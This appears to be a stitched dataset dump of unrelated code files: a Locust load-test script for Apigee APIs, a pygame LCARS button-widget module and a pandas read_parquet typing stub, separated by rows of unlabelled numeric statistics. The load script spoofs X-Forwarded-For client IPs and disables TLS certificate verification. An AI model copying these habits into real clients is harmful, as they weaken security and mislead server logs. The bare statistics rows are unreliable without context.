tortor est, bibendum at nibh quis, tincidunt rutrum tellus. Integer luctus ante eu sapien euismod, a tempus quam congue. Donec ullamcorper posuere leo, vel condimentum purus venenatis ut. Maecenas in faucibus justo, convallis euismod sem. In ut magna vel est blandit porta. Ut et porta lorem, et scelerisque tortor. Curabitur faucibus, velit vel tristique aliquam, leo nibh porta sem, at euismod augue tortor a sapien. Maecenas sit amet augue id ipsum dictum malesuada id ac ligula. Fusce vel fringilla nisl, nec hendrerit sapien.Vestibulum lorem nisl, cursus varius lacus quis, eleifend posuere sem. Cras vehicula faucibus diam a vehicula. Etiam tincidunt malesuada porta. Aliquam erat volutpat. Integer nec diam diam. Nullam tortor lorem, rutrum nec consectetur vitae, gravida a purus. Nullam vehicula eros libero, non consectetur ligula imperdiet nec. Quisque malesuada justo mi, at tincidunt neque pharetra et. Duis vitae magna eu libero malesuada dictum. Maecenas sit amet ornare velit. Maecenas egestas velit egestas felis dignissim blandit."} #User Agents userAgent1 = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36' userAgent2 = 'Mozilla/5.0 (iPhone; CPU iPhone OS 12_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.1 Mobile/15E148 Safari/604.1' userAgent3 = 'Mozilla/5.0 (Linux; Android 8.0.0; SM-G930F Build/R16NW; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/74.0.3729.157 Mobile Safari/537.36' userAgent4 = 'Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.90 Safari/537.36' userAgent5 = 'Mozilla/5.0 (iPhone; CPU iPhone OS 12_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.1 Mobile/15E148 Safari/604.1' userAgent6 = 'Mozilla/5.0 (Linux; Android 8.0.0; SM-G930F Build/R16NW; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/74.0.3729.157 Mobile Safari/537.36' userAgent7 = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_4) AppleWebKit/605.1.15 (KHTML, like Gecko)' userAgent8 = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_4) AppleWebKit/605.1.15 (KHTML, like Gecko)' userAgent9 = 'Mozilla/5.0 (iPhone; CPU iPhone OS 12_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148' userAgent10 = 'Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.90 Safari/537.36' userAgent11 = 'Mozilla/5.0 (iPhone; CPU iPhone OS 12_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.1 Mobile/15E148 Safari/604.1' userAgent12 = 'Mozilla/5.0 (iPhone; CPU iPhone OS 12_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148' agents = [userAgent1,userAgent10,userAgent11,userAgent12,userAgent2,userAgent3,userAgent4,userAgent5,userAgent6,userAgent7,userAgent8,userAgent9] # IPs ip1 = "2.58.116.34" ip2 = "5.249.224.34" ip3 = "198.245.66.112" ip4 = "2.57.184.34" ip5 = "161.185.160.93" ip6 = "142.243.136.34" ip7 = "161.149.146.201" ip8 = "23.248.160.34" ip9 = "194.59.249.171" ips = [ip1,ip2,ip3,ip4,ip5,ip6,ip7,ip8,ip9] #Developers dandee = "dandee@enterprise.com" # Admin - All APIs grant = "grant@enterprise.com" # Consumer - Recommendation, User, Loyalty petsell = "petsell@wrong.com" # Catalog - Catalog hugh = "hugh@startkaleo.com" # Consumer - Recommendation, User, Loyalty tomjones = "tomjones@enterprise.com" # Catalog - Catalog joew = "joew@bringiton.com" # Catalog & consumer, Catalog, Recommendation, User, Loyalty acop = "acop@enterprise.com" # Catalog - Catalog barbg = "barbg@enterprise.com" # Store & shopping - Catalog, Recommendation, Checkout, Catalog freds = "freds@bringiton.com" # Consumer - Recommendation, User, Loyalty def retrieveApiKeyFromDeveloper(developer): app = requests.get(url = apigee_url+"developers/"+developer,headers={'Authorization': "Bearer "+token}) apiKey = requests.get(url = apigee_url+"developers/"+developer+"/apps/"+app.json()['apps'][0],headers={'Authorization': "Bearer "+token}) appkey = apiKey.json()['credentials'][0]['consumerKey'] return appkey apps = { "apps": [ { "developer": dandee, "apis": ["catalog","recommendation","user","loyalty","checkout"], "weight": 1, "apikey": retrieveApiKeyFromDeveloper(dandee) }, { "developer": grant, "apis": ["recommendation","user","loyalty"], "weight": 4, "apikey": retrieveApiKeyFromDeveloper(grant) }, { "developer": petsell, "apis": ["catalog"], "weight": 5, "apikey": retrieveApiKeyFromDeveloper(petsell) }, { "developer": hugh, "apis": ["recommendation","user","loyalty"], "weight": 3, "apikey": retrieveApiKeyFromDeveloper(hugh) }, { "developer": tomjones, "apis": ["catalog"], "weight": 6, "apikey": retrieveApiKeyFromDeveloper(tomjones) }, { "developer": joew, "apis": ["catalog","recommendation","user","loyalty"], "weight": 2, "apikey": retrieveApiKeyFromDeveloper(joew) }, { "developer": acop, "apis": ["catalog"], "weight": 8, "apikey": retrieveApiKeyFromDeveloper(acop) }, { "developer": barbg, "apis": ["catalog","recommendation","loyalty","checkout"], "weight": 3, "apikey": retrieveApiKeyFromDeveloper(barbg) }, { "developer": freds, "apis": ["recommendation","user","loyalty"], "weight": 3, "apikey": retrieveApiKeyFromDeveloper(freds) } ] } def selectRandomApp(resource): json_apps=json.loads(json.dumps(apps))["apps"] selected_apps = [] for temp_app in json_apps: for api in temp_app["apis"]: if (api == resource): i=0 while i < temp_app["weight"]: selected_apps.append(temp_app["apikey"]) i +=1 break return random.choice(selected_apps) def randomNum(): return str(random.randint(1,6)) def returnPayload(): if random.randint(0,100) >= 85: return hugePayload else: return {"content":"something"} def starting(l): print("Starting load") #Catalog functions def catalogGetList(l): l.client.get("/catalog?apikey="+selectRandomApp("catalog") ,headers={"Load-Generator-Version": "2.1","User-Agent": random.choice(agents),"X-Forwarded-For": random.choice(ips)}) def catalogGet(l): l.client.get("/catalog/"+randomNum()+"?apikey="+selectRandomApp("catalog") ,headers={"Load-Generator-Version": "2.1","User-Agent": random.choice(agents),"X-Forwarded-For": random.choice(ips)}) def catalogPost(l): l.client.post("/catalog?apikey="+selectRandomApp("catalog"),{"product":"this is a new product"} ,headers={"Load-Generator-Version": "2.1","User-Agent": random.choice(agents),"X-Forwarded-For": random.choice(ips)}) #Checkout functions def checkoutGetList(l): l.client.get("/checkout?apikey="+selectRandomApp("checkout") ,headers={"Load-Generator-Version": "2.1","User-Agent": random.choice(agents),"X-Forwarded-For": random.choice(ips)}) def checkoutGet(l): l.client.get("/checkout/"+randomNum()+"?apikey="+selectRandomApp("checkout") ,headers={"Load-Generator-Version": "2.1","User-Agent": random.choice(agents),"X-Forwarded-For": random.choice(ips)}) def checkoutPost(l): l.client.post("/checkout?apikey="+selectRandomApp("checkout"),{"cart":"this is a new cart"} ,headers={"Load-Generator-Version": "2.1","User-Agent": random.choice(agents),"X-Forwarded-For": random.choice(ips)}) #Loyalty functions def loyaltyGetList(l): l.client.get("/loyalty?apikey="+selectRandomApp("loyalty") ,headers={"Load-Generator-Version": "2.1","User-Agent": random.choice(agents),"X-Forwarded-For": random.choice(ips)}) def loyaltyGet(l): l.client.get("/loyalty/"+randomNum()+"?apikey="+selectRandomApp("loyalty") ,headers={"Load-Generator-Version": "2.1","User-Agent": random.choice(agents),"X-Forwarded-For": random.choice(ips)}) def loyaltyPost(l): l.client.post("/loyalty?apikey="+selectRandomApp("loyalty"),{"loyalty":"this is a new loyalty"} ,headers={"Load-Generator-Version": "2.1","User-Agent": random.choice(agents),"X-Forwarded-For": random.choice(ips)}) #Loyalty functions def recommendationGetList(l): l.client.get("/recommendation?apikey="+selectRandomApp("recommendation") ,headers={"Load-Generator-Version": "2.1","User-Agent": random.choice(agents),"X-Forwarded-For": random.choice(ips)}) def recommendationGet(l): l.client.get("/recommendation/"+randomNum()+"?apikey="+selectRandomApp("recommendation") ,headers={"Load-Generator-Version": "2.1","User-Agent": random.choice(agents),"X-Forwarded-For": random.choice(ips)}) def recommendationPost(l): l.client.post("/recommendation?apikey="+selectRandomApp("recommendation"),returnPayload() ,headers={"Load-Generator-Version": "2.1","User-Agent": random.choice(agents),"X-Forwarded-For": random.choice(ips)}) #Loyalty functions def userGetList(l): l.client.get("/user?apikey="+selectRandomApp("user") ,headers={"Load-Generator-Version": "2.1","User-Agent": random.choice(agents),"X-Forwarded-For": random.choice(ips)}) def userGet(l): l.client.get("/user/"+randomNum()+"?apikey="+selectRandomApp("user") ,headers={"Load-Generator-Version": "2.1","User-Agent": random.choice(agents),"X-Forwarded-For": random.choice(ips)}) def userPost(l): l.client.post("/user?apikey="+selectRandomApp("user"),returnPayload() ,headers={"Load-Generator-Version": "2.1","User-Agent": random.choice(agents),"X-Forwarded-For": random.choice(ips)}) class UserBehavior(TaskSet): def on_start(self): self.client.verify = False starting(self) tasks = { loyaltyGetList: 1, loyaltyGet: 5, loyaltyPost: 1, recommendationGet: 3, recommendationPost: 2, recommendationGetList: 7, userPost: 1, userGet: 5, userPost: 1, checkoutGet: 3, checkoutGetList:1, checkoutPost: 5, catalogGet: 8, catalogGetList: 3, catalogPost: 1} class WebsiteUser(HttpLocust): task_set = UserBehavior min_wait=5000 max_wait=9000
90.091324
9,984
0.736036
2,699
19,730
5.369396
0.13857
0.025669
0.00828
0.027946
0.791471
0.762283
0.762283
0.754002
0.74448
0.74448
0
0.029282
0.16224
19,730
219
9,985
90.091324
0.84748
0.021591
0
0.061111
0
0.072222
0.702509
0.021775
0
0
0
0
0
1
0.116667
false
0
0.027778
0.005556
0.205556
0.005556
0
0
0
null
0
0
0
0
1
1
1
1
1
0
0
0
0
0
1
0
0
0
0
0
0
0
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
4bb4f93b9d2de1c3b1932b76f70d51f662ec4090
23,976
py
Python
app/ui/widgets/lcars_widgets.py
aliasmaus/rpi_lcars
6757432a9bb5584ae351d3ff6bd4c312981b9345
[ "MIT" ]
null
null
null
app/ui/widgets/lcars_widgets.py
aliasmaus/rpi_lcars
6757432a9bb5584ae351d3ff6bd4c312981b9345
[ "MIT" ]
null
null
null
app/ui/widgets/lcars_widgets.py
aliasmaus/rpi_lcars
6757432a9bb5584ae351d3ff6bd4c312981b9345
[ "MIT" ]
null
null
null
import pygame from pygame.font import Font, SysFont from pygame.locals import * from ui.utils.sound import Sound from ui.widgets.sprite import LcarsWidget, PowerWidget, ResetWidget, GeneralWidget from ui import colours class ModernButton(LcarsWidget): def __init__(self, colour, pos, text, handler=None, rectSize=None, icon=None): if rectSize == None: image = pygame.image.load("assets/button_modern.png").convert_alpha() size = (image.get_rect().width, image.get_rect().height) else: size = rectSize image = pygame.Surface(rectSize) image.fill(colour) #image=image.convert_alpha() self.colour = colours.TRANSPARENT self.image = image self.font = Font("assets/YukonTech.ttf", 20) textImage = self.font.render(text, False, colours.BLUEDARK) image = image.blit(textImage, (image.get_rect().width - textImage.get_rect().width - 4, image.get_rect().height - textImage.get_rect().height - 5)) LcarsWidget.__init__(self, colour, pos, size, handler) self.applyColour(colour) self.highlighted = False self.beep = Sound("assets/audio/panel/202.wav") def handleEvent(self, event, clock): image2 = pygame.image.load("assets/button_modern_down.png") if (event.type == MOUSEBUTTONDOWN and self.rect.collidepoint(event.pos) and self.visible == True): self.highlighted = True self.beep.play() self.image = image2.convert_alpha() image = pygame.image.load("assets/button_modern.png") if (event.type == MOUSEBUTTONUP and self.highlighted and self.visible == True): self.image = image.convert_alpha() return LcarsWidget.handleEvent(self, event, clock) class ModernElbowTop(GeneralWidget): def __init__(self, colour, pos, text, handler=None, rectSize=None, icon=None): if rectSize == None: image = pygame.image.load("assets/elbow_top.png").convert_alpha() size = (image.get_rect().width, image.get_rect().height) else: size = rectSize image = pygame.Surface(rectSize).convert_alpha() #image.fill(colours.TRANSPARENT) #image=image.convert_alpha() self.colour = colours.TRANSPARENT self.image = image self.font = Font("assets/YukonTech.ttf", 20) textImage = self.font.render(text, False, colours.BLUEDARK) image = image.blit(textImage, (image.get_rect().width - textImage.get_rect().width - 170, image.get_rect().height - textImage.get_rect().height - 10)) GeneralWidget.__init__(self, colour, pos, size, handler) self.highlighted = False self.beep = Sound("assets/audio/panel/202.wav") def handleEvent(self, event, clock): image2 = pygame.image.load("assets/elbow_top_up.png") if (event.type == MOUSEBUTTONDOWN and self.rect.collidepoint(event.pos) and self.visible == True): self.image = image2.convert_alpha() self.highlighted = True self.beep.play() if (event.type == MOUSEBUTTONUP and self.highlighted and self.visible == True): self.applyColour(self.colour) return GeneralWidget.handleEvent(self, event, clock) class ModernElbowBottom(GeneralWidget): def __init__(self, colour, pos, text, handler=None, rectSize=None, icon=None): if rectSize == None: image = pygame.image.load("assets/elbow_bottom.png").convert_alpha() size = (image.get_rect().width, image.get_rect().height) else: size = rectSize image = pygame.Surface(rectSize).convert_alpha() #image.fill(colours.TRANSPARENT) #image=image.convert_alpha() self.colour = colours.TRANSPARENT self.image = image self.font = Font("assets/YukonTech.ttf", 20) textImage = self.font.render(text, False, colours.BLUEDARK) image = image.blit(textImage, (image.get_rect().width - textImage.get_rect().width - 185, image.get_rect().height - textImage.get_rect().height - 30)) #self.image1 = image GeneralWidget.__init__(self, colour, pos, size, handler) self.highlighted = False self.beep = Sound("assets/audio/panel/202.wav") def handleEvent(self, event, clock): image2 = pygame.image.load("assets/elbow_bottom_down.png") if (event.type == MOUSEBUTTONDOWN and self.rect.collidepoint(event.pos) and self.visible == True): self.image = image2.convert_alpha() self.highlighted = True self.beep.play() if (event.type == MOUSEBUTTONUP and self.highlighted and self.visible == True): #self.image = self.image1 self.applyColour(self.colour) return GeneralWidget.handleEvent(self, event, clock) class UltimateButton(LcarsWidget): """ THE ULTIMATE BUTTON DOES EVERYTHING YOU NEED ARGUMENTS: *Required -position | (x coord, y coord) *Optional -size | (width, height) default is (80, 40) or size of image_set[0] -text | "string" default is None -colour_set | [colour, colour_highlighted, colour_pressed] default is [white, grey/blue, blue] -image_set | [image, image_highlighted, image_pressed] default is [None, None, None] -text_colour| (r, g, b) or from colours file default is black -font | pygame.Font default is MicroTech -handler | event handler function default is None BUGS: -- 3 images (image set) - text disappears when clicking """ #DEFAULTS imageonly=False #init def __init__(self, pos, text=None, colour_set=[colours.WHITE, colours.GREY_BLUE, colours.BLUE], image_set=[None,None,None], text_colour=colours.BLACK, font=None, size=(80,40), handler=None): #Set button attributes #all buttons self.colour=colour_set[0] self.colour_highlighted=colour_set[1] self.colour_pressed=colour_set[2] self.size = size self.text_colour = text_colour #image buttons only if not image_set[0] == None: self.image_normal=image_set[0].convert_alpha() image=self.image_normal self.image=image self.size = (image.get_rect().width, image.get_rect().height) if not image_set[1] == None: self.image_highlighted=image_set[1].convert_alpha() if not image_set[2] == None: self.image_pressed=image_set[2].convert_alpha() self.imageonly=True #Create surface for non-image button if not self.imageonly: if image_set[0]==None: image = pygame.Surface(self.size) image.fill(self.colour) self.image=image #apply colour to white button else: self.image=image self.applyColour(self.colour) #Create text image if text included if not text==None: if font == None: self.font=Font("assets/MicroTech.ttf", 18) else: self.font = font textImage = self.font.render(text, False, self.text_colour) textrect = textImage.get_rect() image = image.blit(textImage, (image.get_rect().width - textImage.get_rect().width - 52, image.get_rect().height - textImage.get_rect().height - 10)) #Make widget LcarsWidget.__init__(self, self.colour, pos, self.size, handler) if image_set[2] == None: self.applyColour(self.colour) else: self.imageonly=True self.highlighted = False self.beep = Sound("assets/audio/panel/202.wav") #handle events def handleEvent(self, event, clock): if (event.type == MOUSEBUTTONDOWN and self.rect.collidepoint(event.pos) and self.visible == True): if self.imageonly: self.image = self.image_pressed else: self.applyColour(self.colour_pressed) self.highlighted = True self.beep.play() #need to add mouseover highlight functionality here if (event.type == MOUSEBUTTONUP and self.highlighted and self.visible == True): if self.imageonly: self.image = self.image_normal else: self.applyColour(self.colour) return LcarsWidget.handleEvent(self, event, clock) class SideButton(GeneralWidget): """Button - either rounded or rectangular if rectSize is spcified""" def __init__(self, colour, pos, text, handler=None, rectSize=None, icon=None): if rectSize == None: image = pygame.image.load("assets/button_modern.png").convert_alpha() size = (image.get_rect().width, image.get_rect().height) else: size = rectSize image = pygame.Surface(rectSize).convert_alpha() image.fill(colours.TRANSPARENT) #self.colour = colour #self.image = image #self.font = Font("assets/swiss911.ttf", 18) #textImage = self.font.render(text, False, colours.BLACK) #image = image.blit(textImage, # (image.get_rect().width - textImage.get_rect().width - 10, # image.get_rect().height - textImage.get_rect().height - 5)) self.colour = colours.TRANSPARENT self.image = image self.font = Font("assets/YukonTech.ttf", 20) textImage = self.font.render(text, False, colours.BLUEDARK) image = image.blit(textImage, (image.get_rect().width - textImage.get_rect().width - 4, image.get_rect().height - textImage.get_rect().height - 5)) GeneralWidget.__init__(self, colour, pos, size, handler) self.highlighted = False self.beep = Sound("assets/audio/panel/202.wav") def handleEvent(self, event, clock): #image2 = pygame.image.load("assets/reset_small.png") if (event.type == MOUSEBUTTONDOWN and self.rect.collidepoint(event.pos) and self.visible == True): self.applyColour(colours.WHITE) self.highlighted = True self.beep.play() if (event.type == MOUSEBUTTONUP and self.highlighted and self.visible == True): self.applyColour(self.colour) return GeneralWidget.handleEvent(self, event, clock) class LogoutButton(GeneralWidget): """Button - either rounded or rectangular if rectSize is spcified""" def __init__(self, colour, pos, text, handler=None, rectSize=None, icon=None): if rectSize == None: image = pygame.image.load("assets/button_modern.png").convert_alpha() size = (image.get_rect().width, image.get_rect().height) else: size = rectSize image = pygame.Surface(rectSize).convert_alpha() image.fill(colour) self.image = image self.font = Font("assets/YukonTech.ttf", 19) textImage = self.font.render(text, False, colours.BLUEDARK) image = image.blit(textImage, (image.get_rect().width - textImage.get_rect().width - 5, image.get_rect().height - textImage.get_rect().height)) GeneralWidget.__init__(self, colour, pos, size, handler) self.highlighted = False self.beep = Sound("assets/audio/panel/202.wav") def handleEvent(self, event, clock): #image2 = pygame.image.load("assets/reset_small.png") if (event.type == MOUSEBUTTONDOWN and self.rect.collidepoint(event.pos) and self.visible == True): self.applyColour(colours.WHITE) self.highlighted = True self.beep.play() if (event.type == MOUSEBUTTONUP and self.highlighted and self.visible == True): self.applyColour(colours.TRANSPARENT) return GeneralWidget.handleEvent(self, event, clock) class LcarsElbow(LcarsWidget): """The LCARS corner elbow - not currently used""" STYLE_BOTTOM_LEFT = 0 STYLE_TOP_LEFT = 1 STYLE_BOTTOM_RIGHT = 2 STYLE_TOP_RIGHT = 3 def __init__(self, colour, style, pos, text, group_number, handler): image = pygame.image.load("assets/elbow_top.png").convert_alpha() # alpha=255 # image.fill((255, 255, 255, alpha), None, pygame.BLEND_RGBA_MULT) if (style == LcarsElbow.STYLE_BOTTOM_LEFT): image = pygame.transform.flip(image, False, True) elif (style == LcarsElbow.STYLE_BOTTOM_RIGHT): image = pygame.transform.rotate(image, 180) elif (style == LcarsElbow.STYLE_TOP_RIGHT): image = pygame.transform.flip(image, True, False) self.image = image size = (image.get_rect().width, image.get_rect().height) LcarsWidget.__init__(self, colour, pos, size, handler) self.applyColour(colours.WHITE) def handleEvent(self, event, clock): #image2 = pygame.image.load("assets/reset_small.png") if (event.type == MOUSEBUTTONDOWN and self.rect.collidepoint(event.pos) and self.visible == True): self.applyColour(colours.WHITE) self.highlighted = True #self.beep.play() if (event.type == MOUSEBUTTONUP and self.highlighted and self.visible == True): self.applyColour(colours.TRANSPARENT) return GeneralWidget.handleEvent(self, event, clock) class LcarsTab(LcarsWidget): """Tab widget (like radio button) - not currently used nor implemented""" STYLE_LEFT = 1 STYLE_RIGHT = 2 def __init__(self, colour, style, pos, handler=None): image = pygame.image.load("assets/tab.png").convert() if (style == LcarsTab.STYLE_RIGHT): image = pygame.transform.flip(image, False, True) size = (image.get_rect().width, image.get_rect().height) LcarsWidget.__init__(self, colour, pos, size, handler) self.image = image self.applyColour(colour) class LcarsButton(LcarsWidget): """Button - either rounded or rectangular if rectSize is spcified""" def __init__(self, colour, pos, text, handler=None, rectSize=None, icon=None): if rectSize == None: image = pygame.image.load("assets/button.png").convert_alpha() size = (image.get_rect().width, image.get_rect().height) else: size = rectSize image = pygame.Surface(rectSize) image.fill(colour) #image=image.convert_alpha() self.colour = colour self.image = image self.font = Font("assets/YukonTech.ttf", 18) textImage = self.font.render(text, False, colours.BLACK) image = image.blit(textImage, (image.get_rect().width - textImage.get_rect().width - 10, image.get_rect().height - textImage.get_rect().height - 5)) LcarsWidget.__init__(self, colour, pos, size, handler) self.applyColour(colour) self.highlighted = False self.beep = Sound("assets/audio/panel/202.wav") def handleEvent(self, event, clock): if (event.type == MOUSEBUTTONDOWN and self.rect.collidepoint(event.pos) and self.visible == True): self.applyColour(colours.WHITE) self.highlighted = True self.beep.play() if (event.type == MOUSEBUTTONUP and self.highlighted and self.visible == True): self.applyColour(self.colour) return LcarsWidget.handleEvent(self, event, clock) class PowerButton(PowerWidget): """Button - either rounded or rectangular if rectSize is spcified""" def __init__(self, colour, pos, text, handler=None, rectSize=None, icon=None): if rectSize == None: image = pygame.image.load("assets/power_small_cyantest.png") size = (image.get_rect().width, image.get_rect().height) else: size = rectSize image = pygame.Surface(rectSize).convert_alpha() image.fill(colour) self.colour = colour self.image = image.convert_alpha() #font = Font("assets/swiss911.ttf", 8) #textImage = font.render(text, False, colours.BLACK) #image.blit(textImage, # (image.get_rect().width - textImage.get_rect().width - 10, # image.get_rect().height - textImage.get_rect().height - 5)) #if not icon==None: # image.blit(icon, (10,10)) PowerWidget.__init__(self, colour, pos, size, handler) #self.applyColour(colour) self.highlighted = False self.beep = Sound("assets/audio/panel/202.wav") def handleEvent(self, event, clock): image2 = pygame.image.load("assets/power_small.png") if (event.type == MOUSEBUTTONDOWN and self.rect.collidepoint(event.pos) and self.visible == True): #self.applyColour(colours.WHITE) self.highlighted = True self.beep.play() self.image = image2.convert_alpha() #size = (image.get_rect().width, image.get_rect().height) #self.colour = colour image = pygame.image.load("assets/power_small_cyantest.png") if (event.type == MOUSEBUTTONUP and self.highlighted and self.visible == True): self.image = image.convert_alpha() return PowerWidget.handleEvent(self, event, clock) class ResetButton(ResetWidget): """Button - either rounded or rectangular if rectSize is spcified""" def __init__(self, colour, pos, text, handler=None, rectSize=None, icon=None): if rectSize == None: image = pygame.image.load("assets/reset_small_cyantest.png").convert_alpha() size = (image.get_rect().width, image.get_rect().height) else: size = rectSize image = pygame.Surface(rectSize).convert_alpha() image.fill(colour) self.colour = colour self.image = image PowerWidget.__init__(self, colour, pos, size, handler) self.highlighted = False self.beep = Sound("assets/audio/panel/202.wav") def handleEvent(self, event, clock): image2 = pygame.image.load("assets/reset_small.png") if (event.type == MOUSEBUTTONDOWN and self.rect.collidepoint(event.pos) and self.visible == True): self.highlighted = True self.beep.play() self.image = image2.convert_alpha() image = pygame.image.load("assets/reset_small_cyantest.png") if (event.type == MOUSEBUTTONUP and self.highlighted and self.visible == True): self.image = image.convert_alpha() return PowerWidget.handleEvent(self, event, clock) class LcarsText(LcarsWidget): """Text that can be placed anywhere""" def __init__(self, colour, pos, message, size=1.0, background=None, handler=None): self.colour = colour self.background = background self.font = Font("assets/MicroTech.ttf", int(15 * size)) self.renderText(message) # center the text if needed if (pos[1] < 0): pos = (pos[0], 400 - self.image.get_rect().width / 2) LcarsWidget.__init__(self, colour, pos, None, handler) def renderText(self, message): if (self.background == None): self.image = self.font.render(message, True, self.colour) else: self.image = self.font.render(message, True, self.colour, self.background) def setText(self, newText): self.renderText(newText) class DescText(LcarsWidget): """Text that can be placed anywhere""" def __init__(self, colour, pos, message, size=1.6, background=None, handler=None): self.colour = colour self.background = background self.font = Font("assets/Doboto.ttf", int(15 * size)) self.renderText(message) # center the text if needed if (pos[1] < 0): pos = (pos[0], 400 - self.image.get_rect().width / 2) LcarsWidget.__init__(self, colour, pos, None, handler) def renderText(self, message): if (self.background == None): self.image = self.font.render(message, True, self.colour) else: self.image = self.font.render(message, True, self.colour, self.background) def setText(self, newText): self.renderText(newText) class YukonText(LcarsWidget): """Text that can be placed anywhere""" def __init__(self, colour, pos, message, size=1.0, background=None, handler=None): self.colour = colour self.background = background self.font = Font("assets/YukonTech.ttf", int(20 * size)) self.renderText(message) # center the text if needed if (pos[1] < 0): pos = (pos[0], 400 - self.image.get_rect().width / 2) GeneralWidget.__init__(self, colour, pos, None, handler) def renderText(self, message): if (self.background == None): self.image = self.font.render(message, True, self.colour) else: self.image = self.font.render(message, True, self.colour, self.background) def setText(self, newText): self.renderText(newText) class LcarsBlockLarge(SideButton): """Left navigation block - large version""" def __init__(self, colour, pos, text, handler=None): size = (98, 147) SideButton.__init__(self, colour, pos, text, handler, size) class LcarsBlockMedium(SideButton): """Left navigation block - medium version""" def __init__(self, colour, pos, text, handler=None): size = (98, 62) SideButton.__init__(self, colour, pos, text, handler, size) class LcarsBlockSmall(SideButton): """Left navigation block - small version""" def __init__(self, colour, pos, text, handler=None): size = (98, 34) SideButton.__init__(self, colour, pos, text, handler, size) class SideBlockSmall(LogoutButton): """Left navigation block - small version""" def __init__(self, colour, pos, text, handler=None): size = (92, 15) LogoutButton.__init__(self, colour, pos, text, handler, size) class RelayPowerButton(PowerButton): def __init__(self, colour, pos, text, relayController, handler=None, rectSize=None, icon=None): self.relay=relayController PowerButton.__init__(self, colour, pos, text, handler, icon=icon) class RelayResetButton(ResetButton): def __init__(self, colour, pos, text, relayController, handler=None, rectSize=None, icon=None): self.relay=relayController ResetButton.__init__(self, colour, pos, text, handler, icon=icon) class ClusterButton(UltimateButton): colour_set = [colours.WHITE, colours.GREY_BLUE, colours.BLUE] def __init__(self, pos, text, group_number, handler=None, colour_set=colour_set, image_set=[None, None, None]): self.group_number=group_number UltimateButton.__init__(self, pos, text, colour_set=colour_set, image_set=image_set, handler=handler)
40.637288
202
0.606773
2,713
23,976
5.231478
0.086989
0.048616
0.038047
0.04312
0.814979
0.792503
0.770168
0.759741
0.749102
0.712041
0
0.010942
0.279571
23,976
589
203
40.706282
0.810745
0.125209
0
0.719072
0
0
0.041936
0.029003
0
0
0
0
0
1
0.095361
false
0
0.015464
0
0.21134
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
29c5815fe19b782e9f0685fd8c6c045d1eabe0da
1,612
py
Python
data/typing/pandas.io.parquet.py
pydata-apis/python-api-record
684cffbbb6dc6e81f9de4e02619c8b0ebc557b2b
[ "MIT" ]
67
2020-08-17T11:53:26.000Z
2021-11-08T20:16:06.000Z
data/typing/pandas.io.parquet.py
data-apis/python-record-api
684cffbbb6dc6e81f9de4e02619c8b0ebc557b2b
[ "MIT" ]
36
2020-08-17T11:09:51.000Z
2021-12-15T18:09:47.000Z
data/typing/pandas.io.parquet.py
pydata-apis/python-api-record
684cffbbb6dc6e81f9de4e02619c8b0ebc557b2b
[ "MIT" ]
7
2020-08-19T05:06:47.000Z
2020-11-04T05:10:38.000Z
from typing import * @overload def read_parquet(path: Literal["/tmp/tmpnp5ngcgq"], columns: None): """ usage.koalas: 1 """ ... @overload def read_parquet( path: Literal["/tmp/tmpnp5ngcgq"], columns: List[Literal["i64", "i32"]] ): """ usage.koalas: 1 """ ... @overload def read_parquet( path: Literal["/tmp/tmpnp5ngcgq"], columns: List[Literal["i32", "i64"]] ): """ usage.koalas: 1 """ ... @overload def read_parquet(path: Literal["/tmp/tmpnp5ngcgq"]): """ usage.koalas: 1 """ ... @overload def read_parquet(path: Literal["test.parquet"]): """ usage.modin: 3 """ ... @overload def read_parquet(path: Literal["test.parquet"], columns: List[Literal["col1"]]): """ usage.modin: 3 """ ... @overload def read_parquet(path: Literal["test.parquet"], engine: Literal["auto"], columns: None): """ usage.modin: 1 """ ... @overload def read_parquet( path: Literal["test.parquet"], engine: Literal["auto"], columns: List[Literal["col1"]], ): """ usage.modin: 1 """ ... @overload def read_parquet( path: Literal["tmp_folder.parquet"], engine: Literal["auto"], columns: None ): """ usage.modin: 1 """ ... @overload def read_parquet(path: str): """ usage.geopandas: 2 usage.modin: 1 """ ... def read_parquet( path: str, engine: Literal["auto"] = ..., columns: Union[List[Literal["i64", "i32", "col1"]], None] = ..., ): """ usage.geopandas: 2 usage.koalas: 4 usage.modin: 10 """ ...
15.207547
88
0.551489
173
1,612
5.069364
0.184971
0.087799
0.175599
0.22577
0.820981
0.793615
0.751425
0.751425
0.748005
0.572406
0
0.027984
0.246278
1,612
105
89
15.352381
0.693827
0.138337
0
0.659574
0
0
0.145334
0
0
0
0
0
0
1
0.234043
false
0
0.021277
0
0.255319
0
0
0
0
null
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
0
0
0
7
29c9f1c861eebc7bd2e0f46dd3de792f7528832c
63,916
py
Python
OpenGLCffi/FFI/_gles3ffi.py
cydenix/OpenGLCffi
c78f51ae5e6b655eb2ea98f072771cf69e2197f3
[ "MIT" ]
null
null
null
OpenGLCffi/FFI/_gles3ffi.py
cydenix/OpenGLCffi
c78f51ae5e6b655eb2ea98f072771cf69e2197f3
[ "MIT" ]
null
null
null
OpenGLCffi/FFI/_gles3ffi.py
cydenix/OpenGLCffi
c78f51ae5e6b655eb2ea98f072771cf69e2197f3
[ "MIT" ]
null
null
null
